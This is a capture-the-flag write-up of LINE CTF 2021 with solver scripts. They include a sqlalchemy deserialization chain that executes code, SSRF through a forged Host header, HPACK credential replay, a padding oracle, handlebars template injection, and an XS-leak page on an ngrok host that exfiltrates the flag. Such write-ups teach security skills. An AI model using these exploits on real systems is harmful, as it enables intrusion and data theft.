# LINE CTF 2021 Writeup - Team TSG ## Welcome @moratorium08 :) ## babycrypto1 @hakatashi We can encode arbitrary block with chosen IV, so we can extend the given block with arbitrary content. ```python from ptrlib import Socket, logger from base64 import b64encode, b64decode from Crypto.Cipher import AES con = Socket('35.200.115.41', 16001) test = b64decode(con.recvlineafter('test Command: ')) iv = test[:AES.block_size] cipher = test[AES.block_size:] token_block = cipher[:-AES.block_size] command_block = cipher[-AES.block_size:] con.sendlineafter('IV...: ', b64encode(token_block[-AES.block_size:])) con.sendlineafter('Message...: ', b64encode(b'show')) result = b64decode(con.recvlineafter('Ciphertext:')) new_iv = result[:AES.block_size] new_block = result[AES.block_size:] exploit = b64encode(iv + token_block + new_block) con.sendlineafter('Enter your command: ', exploit) logger.info(con.recvuntil('}')) ``` `LINECTF{warming_up_crypto_YEAH}` ## babycrypto2 @hakatashi With chosen iv we can rewrite the first block into arbitrary content. ```python from ptrlib import Socket, logger from base64 import b64encode, b64decode from Crypto.Cipher import AES from Crypto.Util.number import bytes_to_long, long_to_bytes con = Socket('35.200.39.68', 16002) test = b64decode(con.recvlineafter('test Command: ')) iv = test[:AES.block_size] cipher = test[AES.block_size:] new_iv_num = bytes_to_long(iv) ^ bytes_to_long(b'testxxx') ^ bytes_to_long(b'showxxx') new_iv = long_to_bytes(new_iv_num, 16) exploit = b64encode(new_iv + cipher) con.sendline(exploit) logger.info(con.recvuntil('}')) ``` `LINECTF{echidna_kawaii_and_crypto_is_difficult}` ## babycrypto3 @nora妖怪風呂敷広げやねん(妖怪風呂敷広げなので) ``` $ openssl rsa -in pub.pem -pubin -text RSA Public-Key: (394 bit) Modulus: 03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc: 3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99: 1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2: e9:b4:fb:56:89 Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7 ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ== -----END PUBLIC KEY----- ``` ``` N = 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337 e = 65537 ``` I don't know why, but I can guess the prime. ``` p = 291664785919250248097148750343149685985101 ``` `LINECTF{CLOSING THE DISTANCE.}` ## babycrypto4 @hakatashi We have the approximate value of $k_i$ as $k'_i$. By letting $e_i := k_i - k'_i$, $$ \begin{align*} s_{i}k_{i} & =m_{i}+r_{i}d\mod n\\ s_{i}\left(k'_{i}+e_{i}\right) & =m_{i}+r_{i}d\mod n\\ \frac{r_{i}}{s_{i}}d & =k_{i}-\frac{m_{i}}{s_{i}}+e_{i}\mod n \end{align*} $$ Then this is HNP (Hidden number problem). ```python from sage.modules.free_module_integer import IntegerLattice # Babai's Nearest Plane algorithm # from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/ def Babai_closest_vector(M, G, target): small = target for _ in range(1): for i in reversed(range(M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round() small -= M[i] * c return target - small signs = [ (0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2, 0xe060459440ebc11a7cd811a66a341f095f5909e5, 0xef2b0000, 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf), (0xb0f5df566a323de9c9449b925d29b84a607c6b5d, 0x84e39e417e47b4fcaf344255103c61ecaaec4129, 0xc1c00000, 0x1a79e7b0308805508d79f2600a01e70d4f56559e), (0xc90081698382f98c817a137db22f11a846d699fe, 0x2f8fbb7e74b789cd762b30930ef21862a5fd68ee, 0x841b0000, 0x95e3302e197be4d8335cf0d17cc70860ea5317f7), (0x9d84669314b014bc83f3ac53ddcf3c9536c940b1, 0x8b1a69d6e9d75f1698144badc7b93f9a2347839d, 0xa1c90000, 0xc7af08154a154ac8c58eb14380955834093b3863), (0x96d5439a01f47e92be9ff40bee1fecb033b70d3f, 0x1c23660695d16bf03ef40e5ef53bdc92a5d348e7, 0x816e0000, 0x9d3f0dc80e962b9377ed22de66d6421457bcaf5d), (0x3ea39f6c446918690b395ba181f6d5d08444897a, 0x4478e239338ec6652815d03b8decb2d4f58beaba, 0x9d050000, 0x478e00e6191477e6cdd17a29719d96d02e5e8960), (0xbd1cbcd26fb6cb41878ec155fb2506534e803c97, 0xd732fbda187222d85e9a14243b007cc25e1b6b7c, 0x445a0000, 0x2493379cf90246fe7316963c65f28cd9b0a6ecd4), (0x727f7f05a9096beb6d5f65acce6fe42ec3a07dc9, 0x8511715efb01ff83b04fe82fb7535dc7de40abef, 0x91d0000, 0x6ce034dddd5470034068c5146fae4dd039aacaf6), (0x513ed0e15f8f3405bf0083a2186926fe60ccb65e, 0x28892ebcc428f2a566b39a2dbe03ec436641c948, 0x879d0000, 0xfe4e2564369a23e07efbf82d01c5ae7e72cd8105), (0xebf3e23fbe73c5f50032c8e4a3d8359fef203a03, 0xa5b79ae6f8ed237a05b4325c02b8dfe7b9ff5aa7, 0x98950000, 0x762309f98ebac533fece5321736fc6ba95d8382b), (0xc49cdbf6ec3b73188238291fa960675a099b74a0, 0xeabb1e7dcd20115a47b94ecfe8780f676e237437, 0x287a0000, 0x523ea75c4310ac1ac64fa28cc5047b7223e8da0b), (0x9e8a731a26f509793e2b8778cd75b518549ab9c8, 0x27be029029db9d62cdb729bc592cb0a4e6168bf3, 0xebc80000, 0x9f0e9e95661f5e93c90b72af0dce38c673c7ef16), (0xa74159f377749ad36efc28f9c7608a6758009af, 0xa3ce2671944b01f633265a6458ce2cca8b72eda6, 0x574c0000, 0x16e12f9dece23681927be002d24a0e4e6ed3ae7e), (0xcb0a427a05b3e3dcb18a1bb66f9340d2a0c721ab, 0x4a242cca295c6018f4a65d1fadbdb45731cccd7a, 0x23f40000, 0xd7e0a09d8aed604bc1fda1f1965c4a8bf6b58621), (0x5dc440585c88e75da002f941520867add07f93ef, 0x3612124de46659ef7d79d46f1eb05707e313b84d, 0x65850000, 0xca6547a9e3f08bd36f700b7282a36033250971ad), (0x6e009a8f5138a5b94d4e81b5f2a07ee29b413b39, 0x8b3c33c15dca93248f840324d540b7956251d1e0, 0xb4f80000, 0xe916da678253ff7b31453ba1ec709eb909b37c5d), (0x5091314db6155d7a96c1b19098ca235cf86d1f77, 0x2c62bf21452a2b326e8db27fb3345e10c63b2821, 0x452c0000, 0x31dd06dcf95fb04a734149eed64b7b99a575d56e), (0x2f6eed036a46ca6e309d8d7292bd3b0796607fcc, 0x63b4524f47dcde603426c48bbb2f308bc474e5ce, 0x63780000, 0xe108d036a12b4f15cc9af89688d26634c5dfc32a), (0x247ca1d3450a85612e6176ea5dfec4aeb90e2a3f, 0x66b1f9f04e284e28f44402f1ca7803c90786d9c2, 0x48a0000, 0xd58c608cc4d3adfc131c73cccff952c1d310a1e0), (0xab04fc0c4981b047622c786662091f7efbbbd807, 0xa2853851df0aaed34dc972bcf7d7d5ffbbc2b401, 0x9d040000, 0x5bdd98b548b8b0f48a56fb4c41e6d09bf8bd1b0e), ] n = len(signs) p = 0x0100000000000000000001f4c8f927aed3ca752257 F = GF(p) xs = [F(r) // F(s) for r, s, k, m in signs] m = [list(map(int, xs))] for i in range(n): v = [0] * n v[i] = p m.append(v) zs = [int(F(k) - F(m) // F(s)) for r, s, k, m in signs] m = matrix(ZZ, m) lattice = IntegerLattice(m, lll_reduce=True) E = lattice.reduced_basis gram = E.gram_schmidt()[0] res = Babai_closest_vector(E, gram, vector(ZZ, zs)) for z, v, sign in zip(zs, res, signs): r, s, k, m = sign e = v - z print(F(s * (k + e) - m) // F(r)) ``` `LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}` ## atelier @dai I assumed that when the server receives `RecipeCreateRequest` it executes ```python # message: RecipeCreateRequest items = message.materials.split(",") item0 = items[0] item1 = items[1] # look up the recipe table... ``` So I replaced `object_to_dict` in client script with the code below. ```python= def object_to_dict(c): res = {} res["__class__"] = str(c.__class__.__name__) res["__module__"] = str(c.__module__) res.update(c.__dict__) if c.__class__.__name__ == 'RecipeCreateRequest': res["materials"] = { "__class__": "RandomSet", "__module__": "sqlalchemy.testing.util", "split": { "__class__": "BooleanPredicate", "__module__": "sqlalchemy.testing.exclusions", "value": { "__class__": "ConventionDict", "__module__": "sqlalchemy.sql.naming", "convention": [], "_key_0": { "__class__": "_class_resolver", "__module__": "sqlalchemy.ext.declarative.clsregistry", "arg": "exec(\"raise Exception(open('flag').read())\")", "_dict": {} }}}} return res ``` When the server receives this object, `BooleanPredicate#__call__`is called with an argument ``","``, and `ConventionDict#__getitem__` is called and finally `_class_resolver#__call__`, which contains `eval` operation, is called with no arguments. `Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')` ## diveinternal @kcz146 `LanguageNormarize` at `private/app/main.py` has an obvious SSRF. ```python= def LanguageNomarize(request): if request.headers.get('Lang') is None: return "en" else: regex = '^[!@#$\\/.].*/.*' # Easy~~ language = request.headers.get('Lang') language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language) if re.search(regex,language): return request.headers.get('Lang') try: data = requests.get(request.host_url+language, headers=request.headers) if data.status_code == 200: return data.text else: return request.headers.get('Lang') except: return request.headers.get('Lang') ``` Here, you can control `request.host_url` with any value by HTTP `Host` header, because nobody sees the value. You can specify `Host: 127.0.0.1:5000` to access the internal endpoints such as `integrityStatus`, `download` and `rollback`. Although `download` and `rollback` endpoints are protected by `SignCheck`, with the hard-coded `privateKey`, it's of no value. ```python= privateKey = b'let\'sbitcorinparty' def SignCheck(request): sigining = hmac.new( privateKey , request.query_string, hashlib.sha512 ) if sigining.hexdigest() != request.headers.get('Sign'): return False else: return True ``` Then, just do 1. Obtain current `dbhash` at `integrityStatus` API 2. Compute `integrityKey` 3. Download any file on the internet to `backup/{file}` 4. Rollback from `backup/{file}` ```ruby= require 'json' require 'net/http' require 'digest/sha2' require 'openssl' key = "let'sbitcorinparty" uri = URI('http://35.200.63.50/apis/coin') # uri = URI('http://localhost:12004/apis/coin') req = Net::HTTP::Get.new(uri.path) req['Host'] = '127.0.0.1:5000' Net::HTTP.start(uri.host, uri.port) do |http| req['Lang'] = 'integrityStatus' resp = http.request req p resp['lang'] p resp.body h = JSON.parse(resp['lang'])['dbhash'] qs = 'src=https://www.google.com/webhp' req['Lang'] = 'download?' + qs req['Key'] = Digest::SHA512.hexdigest(h) req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs) resp = http.request req p resp['lang'] p resp.body qs = 'dbhash=' + 'webhp' req['Lang'] = 'rollback?' + qs req['Key'] = Digest::SHA512.hexdigest(h) req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs) resp = http.request req p resp['lang'] p resp.body end ``` ## babyweb @kcz146 HTTP/2 has a header compression technology called HPACK. * [RFC7541](https://tools.ietf.org/html/rfc7541) * [Introduction to HTTP/2 Web Fundamentals](https://developers.google.com/web/fundamentals/performance/http2#header_compression)) With this feature, the client and the server share the context so that you don't have to resend the header that you preveiously sent in the same connection. ```python= conn = create_connection() conn.request("GET", "/health") resp = conn.get_response() headers = { cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"], cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"], } conn.request("GET", "/auth", headers=headers) resp = conn.get_response() conn._new_stream() conn._send_cb(data["data"].encode('latin-1')) conn._sock.fill() return conn._sock.buffer.tobytes() ``` In this problem, you can send any data in `data["data"]` after a request with credentials in header was made in the same connection. Here, you can replay the `/auth` request without the knowledge of credentials by HPACK abuse. To get an actual data to be sent, 1. vendor the pip dependencies `$ pip install -r requirements.txt -t vendor` 2. patch [`_send_fb` in `hyper`](https://github.com/python-hyper/hyper) to dump data ```diff= with self._lock: try: + import binascii + import sys + print(binascii.hexlify(data), file=sys.stderr) self._sock.sendall(data) except socket.error as e: ``` 3. patch `public/src/internal.py` like ```diff= conn = create_connection() conn.request("GET", "/health") resp = conn.get_response() headers = { cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"], cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"], } conn.request("GET", "/auth", headers=headers) resp = conn.get_response() - conn._new_stream() - conn._send_cb(data["data"].encode('latin-1')) - conn._sock.fill() - return conn._sock.buffer.tobytes() + import sys + print("BEGIN", file=sys.stderr) + conn.request("GET", "/auth", headers=headers) + print("END", file=sys.stderr) + return conn.get_response().read() ``` 4. send some request and see docker log. ``` linectf_babyweb_public | b'' linectf_babyweb_public | BEGIN linectf_babyweb_public | b'0000060105000000058287c2c0bfbe' linectf_babyweb_public | b'' linectf_babyweb_public | END linectf_babyweb_public | 172.26.0.4 - - [22/Mar/2021 15:44:56] "POST /internal/health HTTP/1.1" 200 - linectf_babyweb_httpd | 172.26.0.1 - - [22/Mar/2021:15:44:56 +0000] "POST /internal/health HTTP/1.1" 200 171 ``` Then, send the obtained payload to the remote: ```shell= $ curl -XPOST http://35.187.196.233/internal/health \ -H "Content-Type: application/json" \ -d '{"type": "2", "data": "\u0000\u0000\u0006\u0001\u0005\u0000\u0000\u0000\u0005\u0082\u0087\u00c2\u00c0\u00bf\u00be"}' -v \ | cat {"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNTY3MDR9.eaDbPz0kKHMZymYIIFmwb5FWcnufpsIZWzgRWh0AELg"} ``` In the almost same way, by the power of HPACK, you can make a request with only `path` and `x-token` overrided keeping the admin credentials. ## Sakura @satos ```javascript= const abi = JSON.parse('[{"inputs":[{"internalType":"address","name":"_admin_account","type":"address"},{"internalType":"address payable","name":"_fee_account","type":"address"},{"internalType":"string","name":"_description","type":"string"},{"internalType":"uint256","name":"_max_holders","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_fixed_fee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"AdminApprovalRequired","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"AdminApproved","type":"event"},{"anonymous":false,"inputs":[],"name":"Cancelled","type":"event"},{"anonymous":false,"inputs":[],"name":"Closed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"answer","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"UserJudged","type":"event"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"adminJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLocked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockedList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"lock","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revoke","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"userJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]'); var Contract = require('web3-eth-contract'); var contract = new Contract(abi); var txdata = contract.methods.lock(2).encodeABI(); var Tx = require('ethereumjs-tx'); var privateKey = Buffer.from("804365e293b9fab9bd11bddd39082396d56d30779efbb3ffb0a6089027902c4a", "hex") var Saddr = "0xe7 cb 1c 67 75 2c bb 97 5a 56 81 5a f2 42 ce 2c e6 3d 31 13".split(' ').join(''); var rawTx = { nonce: '0x00', gasLimit: '0x27100', to: Saddr, value: '0x70000000000000000', data: txdata } var tx = new Tx.Transaction(rawTx); tx.sign(privateKey); var tjson = {}; for(let i=0;i<tx.raw.length;i++){ tjson[tx._fields[i]] = '0x' + tx.raw[i].toString('hex'); } var jstr = JSON.stringify(tjson); var idat = `-999931337\n${jstr}`; const fs = require('fs'); fs.writeFileSync('i',idat) // cat i - | nc 34.84.178.140 13000 // 1\n1\n4\n // LINECTF{S4kura_hira_hira_come_to_spring} ``` ## Your Note @hakatashi When the search hits the flag, the JSON with `Content-disposition: attachment;filename=result.json` is downloaded. So we searched the term "Content-Disposition" in [XS-Leaks Wiki](https://xsleaks.com/) and [Navigations | XS-Leaks Wiki](https://xsleaks.com/docs/attacks/navigations/) gave us answer. ```exploit.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Exploit</title> </head> <body> <script> const log = (message) => { const img = document.createElement('img'); img.src = `/answer/${message}`; document.body.appendChild(img); }; const params = (new URL(document.location)).searchParams; const origin = params.get('origin'); const prefix = params.get('prefix'); const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-}'.split(''); const wins = []; for (const char of chars) { const url = `http://${origin}/search?q=${encodeURIComponent(prefix + char)}&download=true`; const win = window.open(url); wins.push(win); } setTimeout(() => { const answers = []; for (const [i, win] of wins.entries()) { try { win.origin; answers.push(chars[i]) } catch (e) { // nop } } log(prefix + answers.join(',')) }, 5000) </script> </body> </html> ``` ``` http://34.84.72.167/login?redirect=%40e300c5feadf1.ngrok.io%2Fexploit.html%3forigin=34.84.72.167%26prefix=LINECTF%7B1-kn0w-what-y0u-d0wn10ad ``` `LINECTF{1-kn0w-what-y0u-d0wn10ad}` Solving this challenge was really (unnecessarily) exhausting because solving PoW is too slow and server downs during solving it many times. ## 3233 @kcz146 **TL;DR** It's a web challenge, so perform padding oracle attack. You can join to alice:bob room by just connecting to socket.io endpoint with any session information and then `emit('join', {room: 'alice:bob'})`. In the room, any `message` from alice can be captured. You can even send `message` to alice. However, the text in `messages` is encrypted with AES-CBC... (See code around `sendMessage` in `/3233-front/app/src/views/Chat.vue`.) Though you can send any `message`, alice's browser will fail to decrypt your text because alice tries to decrypt it with a shared secret key with bob, so meaningless... *Really???* In this problem, alice's browser *marks* the received messages as `read`. You are notified through `read` packets which messages has been read by alice. When alice fails to decrypt a message, crypto library throws an exception, so `read` packet won't be sent. It can be oracle for padding oracle attack against AES-CBC. Some scripting will show you the decrypted FLAG. ```node= const socket = require('socket.io-client')("http://34.84.186.5/", { path: '/api/socket', extraHeaders: { cookie: 'sessionId=s%3AJeDePsik5pbnZgUpEjJwyk8i9_eYe9EM.YCARMr3RZ%2BFT1PYrw7MLnlQeTIODr7cRVSy6LfZBGsE', }, }); socket.on('connection', () => console.log('connect!')); socket.on('message', (data) => { console.log(JSON.stringify({ ...data, ...{message: data.message.toString('hex')}, type: 'message', })); }); socket.on('read', (data) => { console.log(JSON.stringify({ ...data, type: 'read', })); }); socket.emit('join', {room: 'alice:bob'}); (async () => { for await (const line of process.stdin) { socket.emit('message', { message: Buffer.from((''+line).trim(), 'hex'), to: 'alice', }); } })(); ``` ```ruby= require 'json' require 'thread' $read = {} $m2id = {} # original code is at https://github.com/mudge/padding-oracles class Oracle attr_reader :cipher def initialize(cipher) @cipher = cipher end def attack(ciphertext) ciphertext_blocks = cipher.split(ciphertext) ciphertext_blocks.each_cons(2).flat_map { |previous_block, target_block| m = Array.new(cipher.block_size) cipher.block_size.pred.downto(0).each do |i| pad = cipher.block_size - i padding_size = cipher.block_size - i - 1 butlast = previous_block[0, i] padding = padding_size.downto(1).map { |j| previous_block[cipher.block_size - j] ^ m[cipher.block_size - j] ^ pad } $res = Array.new(256) $q = 256.times.to_a threads = 20.times.map { Thread.start do while g = $q.shift warn g crafted_ciphertext = butlast + [previous_block[i] ^ g ^ pad] + padding + target_block $res[g] = cipher.valid_padding?(crafted_ciphertext.pack('C*')) && pad != g $q = [] if $res[g] end end } threads.map(&:join) m[i] = (0..255).find { |g| $res[g] } || pad warn 'progressing...', m.map{|x|x || 0x3f}.pack("C*") end m }.pack('C*') end end class Cipher attr_reader :block_size def initialize(data) @data = data @block_size = 16 end def valid_padding?(ciphertext) hex = ciphertext.unpack1("H*") id = nil loop do $io.puts hex sleep 0.5 id = $m2id[hex] break if id end warn 'detecting.... %s, %s' % [hex, id] sleep 1 res = $read[id] warn 'read! %s' % id if res res end def split(bytestring) bytestring.unpack('C*').each_slice(block_size).entries end end IO.popen('node client.js', "r+") do |io| $io = io nil until obj = JSON.parse(io.gets) and obj['type'] == 'message' and obj['from'] == 'alice' and obj['to'] == 'bob' puts obj msg = [obj['message']].pack("H*") Thread.new do loop do while obj = JSON.parse($io.gets) case obj['type'] when 'message' $m2id[obj['message']] = obj['id'] when 'read' $read[obj['id']] = true end end end end cipher = Cipher.new(msg) puts Oracle.new(cipher).attack(msg) end ``` ![ss](https://gyazo.com/05e3ac73e64178cbb4752a74158ef0e3.png) ## babysandbox @hakatashi ``` if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false; ``` can be bypassed by using an array like `"ext": [".ejs", "", "", ".js"]` and we can put the file with arbitrary extension. In the rendering section: ``` res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag}); ``` is called. The `res.render` function uses the extension to [determine which kind of template they use](https://github.com/expressjs/express/blob/508936853a6e311099c9985d4c11a4b1b8f6af07/lib/view.js#L81). By looking at `package.json`, we can see the suspicious unused package `hbs`. This can be used to bypass `<>` check. The remaining task is to crack handlebars to output `flag` variable without using the string `flag`. After the tries after tries, I constructed the following payload. ```hbs {{#with this as |o|}} {{#with "fl" as |s|}} {{#with (s.concat "ag") as |n|}} {{#with (n.slice 0 4) as |p|}} {{lookup o p}} {{/with}} {{/with}} {{/with}} {{/with}} ``` Final solver: ```j const axios = require('axios'); const exploit = ` {{#with this as |o|}} {{#with "fl" as |s|}} {{#with (s.concat "ag") as |n|}} {{#with (n.slice 0 4) as |p|}} {{lookup o p}} {{/with}} {{/with}} {{/with}} {{/with}} `; (async () => { const filename = Array.from(Array(16).keys()).map(() => 'abcdefgh'[Math.floor(Math.random() * 8)]).join(''); const res = await axios.post('http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf', { contents: exploit, filename, ext: [".ejs", "a", "a", "a.hbs"], }); console.log(res.data); try { const {data} = await axios.get(`http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/${filename}.ejs,a,a,a.hbs`); console.log(data); } catch (e) { console.log(e.response.data); } })(); ``` `LINECTF{I_think_emilia_is_reallllly_t3nshi}` Definitely.